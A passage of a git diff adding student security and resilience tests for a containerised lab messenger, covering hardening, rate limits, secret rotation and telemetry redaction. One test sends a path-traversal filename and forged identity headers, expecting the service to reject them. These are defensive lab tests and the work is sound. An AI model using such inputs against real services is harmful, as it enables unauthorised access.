print(json.dumps(dict(role='worker',worker=alias,status='retry',reason=type(exc).__name__)),flush=True) + time.sleep(1) + + +def main(): + if not 1<=WORKER_CONCURRENCY<=4:raise SystemExit('WORKER_CONCURRENCY must be 1..4') + with ThreadPoolExecutor(max_workers=WORKER_CONCURRENCY) as pool: + list(pool.map(consume,range(WORKER_CONCURRENCY))) + + +if __name__=='__main__':main() diff --git a/student-tests/argon2_cost.py b/student-tests/argon2_cost.py new file mode 100644 index 0000000..97c040b --- /dev/null +++ b/student-tests/argon2_cost.py @@ -0,0 +1,36 @@ +"""Measure CPU/wall time and peak RSS inside the API cgroup without user data.""" +from concurrent.futures import ThreadPoolExecutor +import json +import resource +import secrets +import statistics +import time + +from argon2 import PasswordHasher + + +hasher = PasswordHasher(memory_cost=19456, time_cost=2, parallelism=1) +password = secrets.token_urlsafe(32) +hashed = hasher.hash(password) + + +def verify(_): + start = time.perf_counter() + assert hasher.verify(hashed, password) + return 1000 * (time.perf_counter() - start) + + +def sample(concurrency): + start, cpu = time.perf_counter(), time.process_time() + with ThreadPoolExecutor(max_workers=concurrency) as pool: + samples = sorted(pool.map(verify, range(50))) + print(json.dumps({ + "checks": len(samples), "concurrency": concurrency, "p50_ms": round(statistics.median(samples), 3), + "p95_ms": round(samples[47], 3), "cpu_seconds": round(time.process_time() - cpu, 3), + "wall_seconds": round(time.perf_counter() - start, 3), + "peak_rss_mib": round(resource.getrusage(resource.RUSAGE_SELF).ru_maxrss / 1024, 3), + })) + + +sample(1) +sample(2) diff --git a/student-tests/hardening.py b/student-tests/hardening.py new file mode 100644 index 0000000..cd4f383 --- /dev/null +++ b/student-tests/hardening.py @@ -0,0 +1,36 @@ +"""Inspect running services without dumping Docker environment or secret mounts.""" +from collections import defaultdict +import json +import subprocess + + +def main(): + ids = subprocess.check_output(["docker", "compose", "ps", "-q"], text=True).splitlines() + rows = json.loads(subprocess.check_output(["docker", "inspect", *ids])) + ports = defaultdict(list) + for item in rows: + cfg = item["HostConfig"] + service = item["Config"]["Labels"]["com.docker.compose.service"] + assert not cfg["Privileged"] and cfg["NetworkMode"] != "host", service + assert cfg["ReadonlyRootfs"] and "ALL" in cfg["CapDrop"], service + assert "no-new-privileges:true" in cfg["SecurityOpt"], service + assert cfg["Memory"] > 0 and cfg["NanoCpus"] > 0 and cfg["PidsLimit"] > 0, service + assert not any("docker.sock" in mount["Destination"] for mount in item["Mounts"]), service + for binds in (cfg.get("PortBindings") or {}).values(): + for bind in binds: + assert bind["HostIp"] == "127.0.0.1", service + ports[service].append(bind["HostPort"]) + user = item["Config"]["User"] + if service in {"api", "worker", "dispatcher", "reconciler"}: + assert user == "10001:10001" and not cfg["CapAdd"], service + assert "/tmp" in cfg["Tmpfs"], service + print(json.dumps({"service": service, "user": user or "entrypoint default", "cpu": cfg["NanoCpus"]/1e9, + "memory_mib": cfg["Memory"]//2**20, "pids": cfg["PidsLimit"], + "added_caps": cfg["CapAdd"] or [], "rootfs_read_only": True})) + assert dict(ports) == {"lb": ["8443"], "openbao": ["8207"], "grafana": ["3007"]}, ports + assert sum(row["Config"]["Labels"]["com.docker.compose.service"] == "api" for row in rows) == 2 + print("PASS all running services audited, only TLS loopback ports", json.dumps(ports)) + + +if __name__ == "__main__": + main() diff --git a/student-tests/http_security.py b/student-tests/http_security.py new file mode 100644 index 0000000..cc00fe8 --- /dev/null +++ b/student-tests/http_security.py @@ -0,0 +1,151 @@ +"""Public-path ACL, bounded input, Argon2 rehash and shared admission measurements.""" +import argparse +import base64 +from collections import Counter +from concurrent.futures import ThreadPoolExecutor +import hashlib +import json +from pathlib import Path +import secrets +import ssl +import socket +import subprocess +import sys +import time + +ROOT = Path(__file__).resolve().parents[1] +sys.path.insert(0, str(ROOT / "tests")) +from client import Client, check + +CA = str(ROOT / "secrets/authority/ca.crt") +LOGIN = "/api/v1/auth/sessions" +ME = "/api/v1/users/me" + + +def basic(username, password): + return {"Authorization": "Basic " + base64.b64encode(f"{username}:{password}".encode()).decode()} + + +def db(query): + proc = subprocess.run( + ["docker", "compose", "exec", "-T", "-u", "postgres", "db", "psql", "-qAt", + "-v", "ON_ERROR_STOP=1", "-d", "messenger"], + input=query, text=True, capture_output=True, check=True) + return proc.stdout.strip() + + +def test_expiry(c): + actor = c.user("expiry") + c.call("GET", ME, actor=actor, schema="User") + time.sleep(2.5) + c.call("GET", ME, 401, actor=actor) + print("PASS 2s TTL: immediate 200, after 2.5s 401") + + +def test_http(c): + alice, bob, eve, chat = c.bootstrap() + attachment, _ = c.attachment(alice, chat) + path = "/api/v1/attachments/" + attachment["id"] + for endpoint in (path, path + "/content"): + c.call("GET", endpoint, 404, actor=eve, headers={"X-User-Id": alice["id"]}) + other = c.call("POST", "/api/v1/chats", 201, actor=eve, + body={"title": "Чужой чат", "member_ids": [eve["id"]]}, schema="Chat")["json"] + c.call("POST", "/api/v1/chats/" + other["id"] + "/messages", 404, actor=eve, + body={"text": "", "attachment_ids": [attachment["id"]]}, + headers={"Idempotency-Key": secrets.token_hex(8)}) + c.call("GET", ME, 401, headers={"X-User-Id": alice["id"]}) + actual = c.call("GET", ME, actor=eve, headers={"X-User-Id": alice["id"]}, schema="User")["json"] + check(actual["id"] == eve["id"], "forged identity") + c.call("DELETE", LOGIN + "/current", 204, actor=eve) + c.call("GET", ME, 401, actor=eve) + print("PASS outsider metadata/content/link 404; forged ID ignored; revoked token 401") + + upload = "/api/v1/chats/" + chat["id"] + "/attachments" + c.call("POST", upload + "?filename=x.png", 413, actor=alice, + raw=b"x" * (10_485_760 + 1), headers={"Content-Type": "image/png"}) + c.call("POST", upload + "?filename=x.png", 415, actor=alice, raw=b"invalid", + headers={"Content-Type": "image/png"}) + c.call("POST", upload + "?filename=..%2Fx.png", 400, actor=alice, raw=b"x", + headers={"Content-Type": "image/png"}) + c.call("POST", "/api/v1/users", 413, raw=b"x" * 65_537, + headers={"Content-Type": "application/json"}) + print("PASS upload bytes/MIME/filename and JSON streaming limit") + + ctx = ssl.create_default_context(cafile=CA) + try: + with socket.create_connection(("localhost", 8443), timeout=3) as conn: + ctx.wrap_socket(conn, server_hostname="wrong.lab7") + except ssl.SSLCertVerificationError as exc: + check(exc.verify_code == 62, "unexpected certificate verification failure") + else: + raise AssertionError("incorrect ingress hostname accepted") + print("PASS ingress rejects hostname mismatch on reachable listener") + + username = alice["registration"]["username"] + password = alice["registration"]["password"] + command = [ + "docker", "compose", "exec", "-T", "--index", "1", "api", "python", "-c", + "from argon2 import PasswordHasher; import sys; " + "print(PasswordHasher(memory_cost=8192,time_cost=1,parallelism=1).hash(sys.stdin.read()))", + ] + legacy = subprocess.run(command, input=password, text=True, capture_output=True, check=True).stdout.strip() + db(f"UPDATE users SET password_hash='{legacy}' WHERE username='{username}';") + fresh = c.call("POST", LOGIN, 201, headers=basic(username, password), schema="Session")["json"] + stored = db(f"SELECT password_hash FROM users WHERE username='{username}';") + check(stored != legacy and stored.startswith("$argon2id$v=19$m=19456,t=2,p=1$"), "rehash absent") + hashed_token = hashlib.sha256(fresh["token"].encode()).hexdigest() + count = db(f"SELECT count(*) FROM sessions WHERE token_hash='{hashed_token}';") + check(count == "1" and fresh["token"] != hashed_token, "session hash absent") + print("PASS old Argon2id rehashed after login; DB stores SHA-256 of 256-bit bearer") + + +def percentile(samples, p): + values = sorted(samples) + return round(1000 * values[min(len(values) - 1, int((len(values) - 1) * p))], 3) + + +def test_budget(c): + # A fixed window starts on first use. No competing harness should be running. + time.sleep(10.2) + wrong = basic("missing_" + secrets.token_hex(6), "synthetic_wrong_password") + + def attempt(_): + res = c.call("POST", LOGIN, [401, 429], headers=wrong) + if res["status"] == 429: + check(res["headers"].get("Retry-After", "").isdigit(), "Retry-After missing") + return res + + start = time.monotonic() + serial = [attempt(i) for i in range(38)] + seconds = time.monotonic() - start + statuses = Counter(r["status"] for r in serial) + aliases = sorted({r["headers"]["X-Instance-Id"] for r in serial}) + check(seconds < 10 and statuses == {401: 24, 429: 14} and len(aliases) == 2, "shared limit") + time.sleep(10.2) + start = time.monotonic() + with ThreadPoolExecutor(max_workers=12) as pool: + burst = list(pool.map(attempt, range(72))) + burst_seconds = time.monotonic() - start + burst_counts = Counter(r["status"] for r in burst) + check(burst_seconds < 10 and 0 < burst_counts[401] <= 24 and burst_counts[429] >= 48, "burst limit") + time.sleep(10.2) + check(attempt(0)["status"] == 401, "budget did not replenish") + print(json.dumps({ + "serial": {"requests": len(serial), "seconds": round(seconds, 3), "status": statuses, + "replicas": len(aliases), "p95_401_ms": percentile( + [r["elapsed"] for r in serial if r["status"] == 401], .95)}, + "burst": {"requests": len(burst), "concurrency": 12, "seconds": round(burst_seconds, 3), + "status": burst_counts, "p95_ms": percentile([r["elapsed"] for r in burst], .95)}, + })) + print("PASS shared login window, KDF concurrency bound, Retry-After and recovery") + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("scenario", choices=("http", "expiry", "budget")) + args = parser.parse_args() + {"http": test_http, "expiry": test_expiry, "budget": test_budget}[args.scenario](Client(ca_file=CA)) + + +if __name__ == "__main__": + main() diff --git a/student-tests/incidents.py b/student-tests/incidents.py new file mode 100644 index 0000000..632e7d3 --- /dev/null +++ b/student-tests/incidents.py @@ -0,0 +1,116 @@ +"""Run isolated worker, database and telemetry incidents and always restore the services.""" +import json +from pathlib import Path +import re +import subprocess +import sys +import time + +ROOT = Path(__file__).resolve().parents[1] +sys.path.insert(0, str(ROOT / "tests")) +from client import Client, check + +DC = ["docker", "compose"] +AUDIT = DC + ["run", "--rm", "--no-deps", "-T", "audit", "python", "/app/student-tests/telemetry_probe.py"] + + +def run(args, capture=False, **kwargs): + return subprocess.run(args, check=True, text=True, capture_output=capture, **kwargs) + + +def metric(expression): + result = run(AUDIT + [expression], capture=True) + return [float(x) for x in json.loads(result.stdout.splitlines()[-1])["values"]] + + +def await_condition(predicate, seconds): + end = time.monotonic() + seconds + while time.monotonic() < end: + if predicate(): + return round(seconds - (end - time.monotonic()), 3) + time.sleep(3) + raise AssertionError("timeout waiting for incident signal") + + +def worker(c, actor, chat): + run(DC + ["stop", "-t", "1", "worker"]) + started = time.monotonic() + try: + att, _ = c.attachment(actor, chat) + alert = 'ALERTS{alertname="QueueLagGrowing",alertstate="firing"}' + firing = await_condition(lambda: metric(alert) == [1], 70) + age = max(metric("max(queue_oldest_age_seconds)")) + depth = max(metric("max(queue_depth)")) + check(age > 15 and depth >= 1, "unexpected queue measurement") + finally: + run(DC + ["start", "worker"]) + resumed = time.monotonic() + c.wait_ready(actor, att) + ready = time.monotonic() - resumed + resolved = await_condition(lambda: not metric(alert) and metric("max(queue_depth)") == [0], 40) + print(json.dumps({"incident": "worker_stop", "age_seconds": age, "depth": depth, + "alert_firing_seconds": firing, "ready_after_restart_seconds": round(ready, 3), + "alert_resolved_seconds": resolved, "total_seconds": round(time.monotonic() - started, 3)})) + + +def database(c, actor, chat): + psql = DC + ["exec", "-T", "-u", "postgres", "db", "psql", "-qAt", "-d", "messenger", "-c"] + lock = subprocess.Popen(psql + [ + "BEGIN; LOCK TABLE messages IN ACCESS EXCLUSIVE MODE; SELECT pg_sleep(24); ROLLBACK;" + ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + try: + def acquired(): + return run(psql + ["SELECT count(*) FROM pg_locks WHERE relation='messages'::regclass " + "AND mode='AccessExclusiveLock' AND granted"], capture=True).stdout.strip() == "1" + await_condition(acquired, 10) + c.call("GET", "/health/ready", schema="Health") + start = time.monotonic() + results = [] + for _ in range(5): + from uuid import uuid4 + res = c.call("POST", f"/api/v1/chats/{chat['id']}/messages", 503, actor=actor, + body={"text": "lock probe"}, headers={"Idempotency-Key": uuid4().hex}) + results.append(res) + run(AUDIT + ["--trace-error", results[0]["headers"]["X-Trace-Id"]]) + finally: + lock.wait(timeout=30) + after = c.message(actor, chat, "database recovered") + print(json.dumps({"incident": "database_lock", "blocked_requests": len(results), + "failure_ms": [round(r["elapsed"] * 1000, 2) for r in results], + "first_success_ms": round(after["elapsed"] * 1000, 2), + "since_locked_requests_seconds": round(time.monotonic() - start, 3)})) + + +def telemetry(c, actor, chat): + start = time.time() + run(DC + ["stop", "-t", "1", "traces"]) + try: + requests = 0 + until = time.monotonic() + 17 + att, _ = c.attachment(actor, chat) + c.wait_ready(actor, att) + while time.monotonic() < until: + c.message(actor, chat, "backend outage") + requests += 1 + time.sleep(1) + otel = run(DC + ["ps", "-q", "otel"], capture=True).stdout.strip() + stats = run(["docker", "stats", "--no-stream", "--format", "{{.MemUsage}}", otel], capture=True) + logs = run(DC + ["logs", "--since", str(int(start)), "otel"], capture=True).stdout + dropped = sum(int(x) for x in re.findall(r'"dropped_items":\s*(\d+)', logs)) + check(dropped > 0, "bounded telemetry loss not observed") + finally: + run(DC + ["start", "traces"]) + print(json.dumps({"incident": "tempo_backend_stop", "successful_writes": requests, + "upload_ready": True, "collector_memory": stats.stdout.strip(), + "dropped_spans_reported": dropped, "outage_seconds": round(time.time() - start, 3)})) + + +def main(): + c = Client(ca_file=str(ROOT / "secrets/authority/ca.crt")) + actor, _, _, chat = c.bootstrap() + for scenario in (worker, database, telemetry): + scenario(c, actor, chat) + + +if __name__ == "__main__": + main() diff --git a/student-tests/lifecycle.py b/student-tests/lifecycle.py new file mode 100644 index 0000000..66e1c84 --- /dev/null +++ b/student-tests/lifecycle.py @@ -0,0 +1,201 @@ +"""Prove real credential rejection, service token renewal and the sealed lease limit.""" +import argparse +import json +from pathlib import Path +import ssl +import subprocess +import sys +import time +import urllib.request +from urllib.error import HTTPError + +ROOT = Path(__file__).resolve().parents[1] +sys.path[:0] = [str(ROOT), str(ROOT / "tests")] +from scripts.bao_operator import ADDRESS, call, login, rotate_db, rotate_s3, unseal +from scripts.wait_ready import wait +from src.bao import client, request +from client import Client, check + +CA = "secrets/authority/ca.crt" +COMPOSE = ["docker", "compose"] + + +def code(args): + subprocess.run(args, check=True, stdin=subprocess.DEVNULL) + + +def image_id(service): + result = subprocess.check_output(COMPOSE + ["ps", "-q", service], text=True).splitlines() + return sorted({subprocess.check_output(["docker", "inspect", "-f", "{{.Image}}", cid], + text=True).strip() for cid in result}) + + +def verify_db(dsn, expected): + result = subprocess.run( + COMPOSE + ["exec", "-T", "--index", "1", "api", "python", "-c", """ +import psycopg,sys +try: + with psycopg.connect(sys.stdin.read(),connect_timeout=3) as db: + assert db.execute('SELECT current_user').fetchone()[0]=='lab_api' + print('connected') +except psycopg.OperationalError as e: + print('invalid_password' if 'password authentication failed' in str(e) else 'other_error') +"""], input=dsn, text=True, capture_output=True, check=True) + check(result.stdout.strip() == expected, f"DB connection expected {expected}") + + +def db_rotation(): + token = login()["client_token"] + old = call("messenger/data/api", token=token)["data"]["data"]["DATABASE_URL"] + verify_db(old, "connected") + previous = image_id("api") + started = time.monotonic() + rotate_db() + verify_db(old, "invalid_password") + print("PASS old API DB password rejected on fresh TLS connection") + code(COMPOSE + ["up", "-d", "--force-recreate", "--no-deps", "api"]) + wait(2, 60) + new = call("messenger/data/api", token=token)["data"]["data"]["DATABASE_URL"] + verify_db(new, "connected") + check(previous == image_id("api"), "API image unexpectedly changed") + print("PASS new API DB password works with same image", + json.dumps({"recovery_seconds": round(time.monotonic() - started, 3)})) + + +def leaf_rotation(): + previous = image_id("lb") + started = time.monotonic() + code(["python3", "scripts/local_pki.py", "rotate-lb"]) + code(COMPOSE + ["restart", "lb"]) + wait(2, 60) + code(COMPOSE + ["run", "--rm", "--no-deps", "-T", "audit", + "python", "/app/student-tests/trust.py", "rotation"]) + check(previous == image_id("lb"), "LB image unexpectedly changed") + print("PASS leaf revoked on both APIs without rebuild", + json.dumps({"recovery_seconds": round(time.monotonic() - started, 3)})) + + +def s3_status(values, expected): + result = subprocess.run( + COMPOSE + ["exec", "-T", "--index", "1", "api", "python", "-c", """ +import boto3,json,sys +from botocore.exceptions import ClientError +v=json.load(sys.stdin) +s3=boto3.client("s3",endpoint_url="https://s3:9000",region_name="us-east-1",verify="/pki/ca.crt", + aws_access_key_id=v["S3_ACCESS_KEY_ID"],aws_secret_access_key=v["S3_SECRET_ACCESS_KEY"]) +try: + s3.list_objects_v2(Bucket="messenger-attachments",Prefix="originals/",MaxKeys=1) + print("accepted") +except ClientError as exc: + print("rejected" if exc.response["ResponseMetadata"]["HTTPStatusCode"]==403 else "other_error") +"""], input=json.dumps(values), text=True, capture_output=True, check=True) + check(result.stdout.strip() == expected, f"S3 credentials expected {expected}") + + +def s3_rotation(): + token = login()["client_token"] + path = "messenger/data/api" + old = call(path, token=token)["data"]["data"] + s3_status(old, "accepted") + previous = image_id("api") + started = time.monotonic() + rotate_s3() + s3_status(old, "rejected") + print("PASS old S3 secret rejected on fresh TLS connection") + code(COMPOSE + ["up", "-d", "--force-recreate", "--no-deps", "api"]) + wait(2, 60) + new = call(path, token=token)["data"]["data"] + s3_status(new, "accepted") + check(previous == image_id("api"), "API image unexpectedly changed") + print("PASS new scoped S3 secret accepted with same image", + json.dumps({"recovery_seconds": round(time.monotonic() - started, 3)})) + + +def collector_rotation(): + probe = COMPOSE + ["run", "--rm", "--no-deps", "-T", "audit", "python", "/app/student-tests/trust.py"] + code(probe + ["collector-current"]) + images = [image_id(role) for role in ("otel", "loki", "tempo")] + started = time.monotonic() + code(["python3", "scripts/local_pki.py", "rotate-collector"]) + code(COMPOSE + ["stop", "otel", "logs", "traces"]) + code(COMPOSE + ["restart", "loki", "tempo"]) + code(COMPOSE + ["start", "logs", "traces", "otel"]) + end = time.monotonic() + 30 + while True: + try: + code(probe + ["collector-rotation"]) + break + except subprocess.CalledProcessError: + if time.monotonic() >= end: + raise + time.sleep(2) + check(images == [image_id(role) for role in ("otel", "loki", "tempo")], "image unexpectedly changed") + print("PASS Collector exporter leaf rotated without rebuild", + json.dumps({"recovery_seconds": round(time.monotonic() - started, 3)})) + + +def ingress_status(path): + ctx = ssl.create_default_context(cafile=CA) + try: + with urllib.request.urlopen("https://localhost:8443" + path, context=ctx, timeout=4) as res: + return res.status + except HTTPError as exc: + return exc.code + + +def bao_lifecycle(): + pki = Path("secrets/runtime/api") + opener = client(*(str(pki / f) for f in ("service.crt", "service.key", "ca.crt"))) + + def api(path, data=None, token=None): + return request(opener, ADDRESS, path, data, token) + + auth = api("auth/cert/login", {"name": "api"})["auth"] + original_ttl = auth["lease_duration"] + token = auth["client_token"] + renewed = api("auth/token/renew-self", {"increment": f"{original_ttl}s"}, token)["auth"] + check(renewed["renewable"] and renewed["lease_duration"] > 0, "token renewal") + api("messenger/data/api", token=token) + print(f"PASS role token renewal, lease {original_ttl}s → {renewed['lease_duration']}s") + operator = login()["client_token"] + call("auth/token/revoke-accessor", {"accessor": auth["accessor"]}, operator) + try: + api("messenger/data/api", token=token) + except HTTPError as exc: + check(exc.code == 403, "revocation should deny with HTTP 403") + else: + raise AssertionError("revoked token still works") + print("PASS revoked scoped token denied on fresh HTTPS request") + + c = Client(ca_file=CA) + actor = c.user("seal") + check(ingress_status("/health/ready") == 200, "pre-seal readiness") + started = time.monotonic() + call("sys/seal", token=operator, method="PUT") + try: + immediate = ingress_status("/health/ready") + check(immediate == 200, "expected short grace before expiry") + deadline = time.monotonic() + original_ttl + 12 + consecutive = 0 + while time.monotonic() < deadline and consecutive < 4: + consecutive = consecutive + 1 if ingress_status("/health/ready") == 503 else 0 + time.sleep(.4) + expiry_seconds = time.monotonic() - started + check(consecutive == 4, "sealed credential grace exceeded") + check(ingress_status("/health/live") == 200, "API process died while sealed") + print("PASS sealed: readiness 200 → 503, liveness 200", + json.dumps({"after_seconds": round(expiry_seconds, 3)})) + finally: + resumed = time.monotonic() + unseal() + wait(2, 65) + c.call("GET", "/api/v1/users/me", actor=actor, schema="User") + print("PASS after unseal same user session resumes", + json.dumps({"recovery_seconds": round(time.monotonic() - resumed, 3)})) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("scenario", choices=("db", "s3", "leaf", "collector", "bao")) + {"db": db_rotation, "s3": s3_rotation, "leaf": leaf_rotation, + "collector": collector_rotation, "bao": bao_lifecycle}[parser.parse_args().scenario]() diff --git a/student-tests/telemetry_audit.py b/student-tests/telemetry_audit.py new file mode 100644 index 0000000..873c444 --- /dev/null +++ b/student-tests/telemetry_audit.py @@ -0,0 +1,78 @@ +"""Create a synthetic upload and check its signals without persisting secret canaries.""" +import base64 +import json +from pathlib import Path +import secrets +import ssl +import subprocess +import sys +import time +import urllib.request +from urllib.error import HTTPError + +ROOT = Path(__file__).resolve().parents[1] +sys.path.insert(0, str(ROOT / "tests")) +from client import Client, check + +CA = ROOT / "secrets/authority/ca.crt" + + +def main(): + start = time.time_ns() + c = Client(ca_file=str(CA)) + alice = c.user("telemetry") + chat = c.call("POST", "/api/v1/chats", 201, actor=alice, + body={"title": "Проверка сигналов", "member_ids": [alice["id"]]}, schema="Chat")["json"] + body = "message-canary-" + secrets.token_hex(16) + message = c.message(alice, chat, body) + original = (ROOT / "tests/fixtures/sample.png").read_bytes() + filename = "filename-canary-" + secrets.token_hex(12) + ".png" + uploaded = c.call("POST", "/api/v1/chats/" + chat["id"] + "/attachments?filename=" + filename, + 202, actor=alice, raw=original, headers={"Content-Type": "image/png"}, schema="Attachment") + c.wait_ready(alice, uploaded["json"]) + login = alice["registration"] + basic = base64.b64encode(f'{login["username"]}:{login["password"]}'.encode()).decode() + canaries = [alice["token"], login["password"], basic, body, filename, base64.b64encode(original).decode()] + payload = {"start": start, "trace_id": uploaded["headers"]["X-Trace-Id"], + "request_id": uploaded["headers"]["X-Request-Id"], "canaries": canaries, + "message_trace_id": message["headers"]["X-Trace-Id"]} + subprocess.run(["docker", "compose", "run", "--rm", "--no-deps", "-T", "audit", + "python", "/app/student-tests/telemetry_probe.py"], + input=json.dumps(payload), text=True, check=True) + logs = subprocess.check_output(["docker", "compose", "logs", "--since", "3m"], text=True) + check(not any(value in logs for value in canaries), "sensitive synthetic value in container logs") + print("PASS no synthetic sensitive values in Compose logs") + + # Grafana must actually query its provisioned datasources through mTLS. + ctx = ssl.create_default_context(cafile=str(CA)) + password = (ROOT / "secrets/bootstrap/grafana/admin").read_text() + headers = {"Authorization": "Basic " + base64.b64encode(("admin:" + password).encode()).decode()} + base = "https://localhost:3007" + try: + urllib.request.urlopen(base + "/api/datasources", context=ctx, timeout=5) + except HTTPError as exc: + check(exc.code == 401, "Grafana endpoint did not require authentication") + else: + raise AssertionError("Grafana allows unauthenticated datasource list") + print("PASS Grafana anonymous datasource list denied") + paths = ( + "prometheus/api/v1/query?query=up", + "loki/loki/api/v1/labels", + "tempo/api/search?limit=1", + ) + for path in paths: + req = urllib.request.Request(base + "/api/datasources/proxy/uid/" + path, headers=headers) + with urllib.request.urlopen(req, context=ctx, timeout=8) as res: + check(res.status == 200, "Grafana datasource proxy failure") + print("PASS Grafana HTTPS/mTLS proxy", path.split("/")[0]) + req = urllib.request.Request(base + "/api/dashboards/uid/lab7", headers=headers) + with urllib.request.urlopen(req, context=ctx, timeout=8) as res: + dashboard = json.load(res)["dashboard"] + check(dashboard["title"].startswith("Lab7") and len(dashboard["panels"]) > 0, + "Grafana dashboard provisioning") + print("PASS provisioned Lab7 Grafana dashboard", len(dashboard["panels"]), "panels") + print("upload_trace_id", payload["trace_id"]) + + +if __name__ == "__main__": + main() diff --git a/student-tests/telemetry_probe.py b/student-tests/telemetry_probe.py new file mode 100644 index 0000000..5344982 --- /dev/null +++ b/student-tests/telemetry_probe.py @@ -0,0 +1,89 @@ +"""Query all three TLS backends from the operator probe namespace.""" +import json +import sys +import time +from urllib.parse import urlencode + +from trust import check, https + + +def query(host, port, path): + status, raw, _ = https(host, port, path, "operator") + return status, raw + + +def promql(expression): + status, raw = query("prometheus", 9090, "/api/v1/query?" + urlencode({"query": expression})) + if status != 200: + raise AssertionError("Prometheus TLS query failed") + return json.loads(raw)["data"]["result"] + + +def event_trace(trace): + return query("tempo", 3200, "/api/traces/" + trace) + + +def verify_signals(payload): + trace_id = payload["trace_id"] + loki_path = "/loki/api/v1/query_range?" + urlencode({ + "query": '{service_name=~"messenger-api|messenger-worker"} |= "' + trace_id + '"', + "start": str(payload["start"]), + "end": str(time.time_ns() + 60_000_000_000), + "limit": "100", + }) + spans = (b"POST /api/v1/chats/{chat_id}/attachments", b"attachments publish", + b"attachment.process", b"s3.", b"db.execute") + end = time.monotonic() + 40 + while time.monotonic() < end: + loki_code, logs = query("loki", 3100, loki_path) + tempo_code, trace = event_trace(trace_id) + if loki_code == tempo_code == 200 and b"attachment_ready" in logs and all(fragment in trace for fragment in spans): + break + time.sleep(1.5) + check("upload HTTP request ID and ready worker event share one Loki trace ID", + payload["request_id"].encode() in logs and b"attachment_ready" in logs) + check("Tempo trace joins HTTP, producer, consumer, S3 and DB", + tempo_code == 200 and all(fragment in trace for fragment in spans)) + window_path = "/loki/api/v1/query_range?" + urlencode({ + "query": '{service_name=~"messenger-api|messenger-worker"}', + "start": str(payload["start"]), "end": str(time.time_ns()), "limit": "2000", + }) + status, window_logs = query("loki", 3100, window_path) + message_code, message_trace = event_trace(payload["message_trace_id"]) + check("Loki and Tempo contain none of the synthetic sensitive values", + status == message_code == 200 and not any( + item.encode() in window_logs or item.encode() in trace or item.encode() in message_trace + for item in payload["canaries"])) + + for expression in ( + "app_http_requests_total", "app_http_duration_seconds_bucket", + "jobs_processed_total", "attachment_ready_seconds_bucket", "queue_depth", + "queue_oldest_age_seconds", "worker_capacity", "db_pool_used", + "process_memory_bytes", "otelcol_receiver_accepted_spans_total", + ): + for _ in range(18): + if promql(expression): + check("metric " + expression, True) + break + time.sleep(1) + else: + raise AssertionError("metric missing: " + expression) + + +if __name__ == "__main__": + if sys.argv[1:2] == ["--trace-error"]: + trace_id = sys.argv[2] + for _ in range(15): + status, raw = event_trace(trace_id) + if status == 200 and all(x in raw for x in (b"LockNotAvailable", b"db.execute", b"POST /api/v1/chats/{chat_id}/messages")): + print("PASS Tempo HTTP 503 trace includes DB span with LockNotAvailable") + break + time.sleep(1) + else: + raise SystemExit("expected DB error trace missing") + elif sys.argv[1:]: + for expression in sys.argv[1:]: + result = promql(expression) + print(json.dumps({"expression": expression, "values": [row["value"][1] for row in result]})) + else: + verify_signals(json.load(sys.stdin)) diff --git a/student-tests/trust.py b/student-tests/trust.py new file mode 100644 index 0000000..41cdebe --- /dev/null +++ b/student-tests/trust.py @@ -0,0 +1,251 @@ +"""Operator-only integration probe, on the Compose network with synthetic credentials.""" +import http.client +import json +import socket +import ssl +from pathlib import Path +import sys +import time +from urllib.error import HTTPError + +import boto3 +from botocore.exceptions import ClientError +import psycopg +import redis + +sys.path.insert(0, "/app") +from src.bao import client, request + +PKI = Path("/audit/runtime") +CA = str(PKI / "api" / "ca.crt") +SEEN = [] + + +def check(label, condition): + if not condition: + raise AssertionError(label) + SEEN.append(label) + print("PASS", label, flush=True) + + +def context(role=None, ca=CA): + ctx = ssl.create_default_context(cafile=ca) + if role == "foreign": + ctx.load_cert_chain("/audit/foreign/client/service.crt", "/audit/foreign/client/service.key") + elif role == "lb-old": + ctx.load_cert_chain("/audit/rotation/previous.pem") + elif role == "collector-previous": + ctx.load_cert_chain("/audit/rotation/collector-previous.pem") + elif role == "collector-export": + ctx.load_cert_chain(PKI / "collector/client/service.crt", PKI / "collector/client/service.key") + elif role == "lb-active": + ctx.load_cert_chain(PKI / "lb" / "client.pem") + elif role: + ctx.load_cert_chain(PKI / role / "service.crt", PKI / role / "service.key") + return ctx + + +def https(host, port, path, role=None, method="GET", body=None, address=None, ca=CA, content_type="application/json"): + conn = http.client.HTTPSConnection(host, port, context=context(role, ca), timeout=4) + if address: + conn._create_connection = lambda _addr, timeout, source_address: socket.create_connection( + (address, port), timeout, source_address) + try: + conn.request(method, path, body=body, headers={"Content-Type": content_type}) + res = conn.getresponse() + return res.status, res.read(), dict(res.getheaders()) + finally: + conn.close() + + +def rejected_http(*args, **kwargs): + try: + return https(*args, **kwargs)[0] == 403 + except (ssl.SSLError, ConnectionResetError, http.client.RemoteDisconnected): + return True + + +def denied(action, error, verify=lambda _exc: True): + try: + action() + except error as exc: + return verify(exc) + return False + + +def bao_client(role): + path = PKI / role + return client(str(path / "service.crt"), str(path / "service.key"), CA) + + +def bao(role, path, data=None, token=None, method=None): + return request(bao_client(role), "https://openbao:8200", path, data, token, method) + + +def get_auth(role): + return bao(role, "auth/cert/login", {"name": role})["auth"] + + +def get_values(role, token=None): + return bao(role, "messenger/data/" + role, token=token or get_auth(role)["client_token"])["data"]["data"] + + +def broker(url, role): + folder = (Path("/audit/foreign/client") if role == "foreign" else PKI / role) if role else None + return redis.Redis.from_url(url, socket_timeout=3, socket_connect_timeout=3, + ssl_ca_certs=CA, ssl_check_hostname=True, + ssl_certfile=str(folder / "service.crt") if folder else None, + ssl_keyfile=str(folder / "service.key") if folder else None) + + +def s3(values): + return boto3.client("s3", endpoint_url="https://s3:9000", region_name="us-east-1", + verify=CA, aws_access_key_id=values["S3_ACCESS_KEY_ID"], + aws_secret_access_key=values["S3_SECRET_ACCESS_KEY"]) + + +def verify_revocation(): + addresses = {item[4][0] for item in socket.getaddrinfo("api", 8444, socket.AF_INET)} + check("rotation tests both API addresses", len(addresses) == 2) + for index, address in enumerate(sorted(addresses), 1): + args = ("api", 8444, "/health/ready") + check(f"API {index} rejects previous same-SAN leaf on new TLS connection", + rejected_http(*args, "lb-old", address=address)) + check(f"API {index} permits replacement leaf on new TLS connection", + https(*args, "lb-active", address=address)[0] == 200) + + +def collector_status(role): + from opentelemetry.proto.collector.logs.v1.logs_service_pb2 import ExportLogsServiceRequest + payload = ExportLogsServiceRequest() + logs = payload.resource_logs.add() + logs.resource.attributes.add(key="service.name").value.string_value = "lab7-audit" 